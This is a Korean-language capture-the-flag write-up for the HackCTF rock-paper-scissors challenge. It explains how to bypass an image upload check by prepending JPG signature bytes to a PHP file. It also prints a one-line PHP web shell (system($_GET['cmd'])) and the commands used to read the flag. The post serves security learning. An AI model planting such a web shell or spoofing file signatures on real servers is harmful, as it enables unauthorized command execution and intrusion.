HackCTF_가위바위보
가위바위보 시작하게 되면
가위바위보 중 하나를 선택하게 되고 랜덤으로 나오는 상대와 대결을 하게 된다
하지만 여기서 이겨도 플래그를 주진 않는다.
그러던 중 내가 고른 이미지 파일을 업로드 가능한 폼이 보인다.
이미지 파일 업로드 => 파일 업로드 => 파일 업로드 취약점이 생각난다.
위와 같이 변경이 된다. 그러면 여기에다 php 한 줄 웹쉘 파일을 올리면 플래그를 얻을 수 있지 않을까??
<? php system($_GET['cmd']);?> 라는 php 한 줄 웹쉘 코드를 입력한 뒤 webshell.php 파일을 올려보자
웹쉘을 업로드 하려고했더니 이미지 파일만 업로드가 가능하다고 한다.
그러면 파일을 이미지파일 인것처럼 보이지만 안에는 php 코드가 들어가 있는 파일을 올려보자
HxD를 켜서 JPG 파일 시그니처만 복사해서 새로운 파일에 덮어 씌운뒤
나머지 뒤쪽에는 웹쉘 코드를 넣어보자
파일 시그니처
http://forensic-proof.com/archives/300
파일 시그니처 모음 (Common File Signatures) | FORENSIC-PROOF
forensic-proof.com
JPG 파일 시그니처는 FF D8 FF E0 xx xx 4A 46 이다.
새로운 파일 앞에 JPG 파일 시그니처를 붙인 뒤
웹쉘 코드를 뒤에 붙여놓고 show.php 라는 이름으로 저장한 뒤
해당 파일을 업로드 해보자
파일이 정상적으로 업로드가 되었다. 다음으로 해당 업로드된 파일의 경로를 알아야 하는데
소스코드를 보자
이미지 저장 경로를 파악했으니 해당 경로로 이동하면
무언가 일어났다고 말하고 아무런 동작도 이뤄지지 않는다.
여기서 막혀서 다시 구글링을 해보니
웹쉘 파일 이름과 똑같은 이름을 사용해야 한다고 한다.
이름을 show.php로 바꿔준 뒤 해당경로로 다시 이동해보자
정상적으로 업로드가 된 것을 확인할 수 있고 여기서 웹쉘을 사용해보면
다른 사람들이 문제풀때 올린 웹쉘이 많이 보인다. 상대 경로를 이용해서 위로 올라가 보자
cd../; ls 입력하였더니 flag.txt가 보인다.
해당 파일을 cat../flag.txt으로 열면
플래그를 찾을 수 있다.
이번문제는 꽤나 길었던 거 같다.